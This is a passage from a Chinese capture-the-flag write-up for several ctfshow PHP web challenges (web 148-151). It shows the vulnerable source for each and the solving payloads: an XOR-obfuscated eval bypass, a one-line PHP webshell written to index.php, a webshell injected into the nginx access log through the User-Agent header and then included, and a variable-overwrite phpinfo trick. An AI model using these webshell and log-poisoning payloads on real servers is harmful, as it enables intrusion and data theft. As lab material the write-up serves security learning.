if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
eval($code);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

/?code=(“%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07”^”%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60”)();

web 149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

一句话木马写入到 index.php

GET: ?ctf=index.php

POST: show=

因为位置原因, 只能一次写成功..

1=system(’tac /ctfshow_fl0g_here.txt’);

web 150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}

$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
  1. 发现 include( ) 日志包含 UA 写入一句话木马 到/var/log/nginx/access.log
1
User-Agent: <?=eval($_POST[1]);?>
  1. 变量覆盖 触发 include, 其中$isVIP 是由 extract 变量覆盖 ?isVIP =⇒ $isVIP

get ?isVIP=true

post ctf=/var/log/nginx/access.log&1=system(‘tac f*‘);

ctfshow{c1abd3de-d4cf-402a-9a89-127ffb7fd89e}

web 151

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
# 类在这结束!!!

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}

不让用日志了

  1. 原题说是需要条件竞争,所以 flag 改为了环境变量, 在 phpinfo 后查找即可获得
  2. 利用.会被改成_ payload: /?..CTFSHOW..=phpinfo
  3. 搜一下 ctfshow 就行

autoload()函数不是类里面的
autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo 就可以看到 phpinfo 信息啦
原因是..CTFSHOW..解析变量成
CTFSHOW
然后进行了变量覆盖,因为 CTFSHOW 是类就会使用
__autoload()函数方法,去加载,因为等于 phpinfo 就会去加载 phpinfo

整个链就是 $CTFSHOW ⇒ class_exists ⇒ __autoload ⇒ 加载 phpinfo

web150-plus_哔哩哔哩_bilibili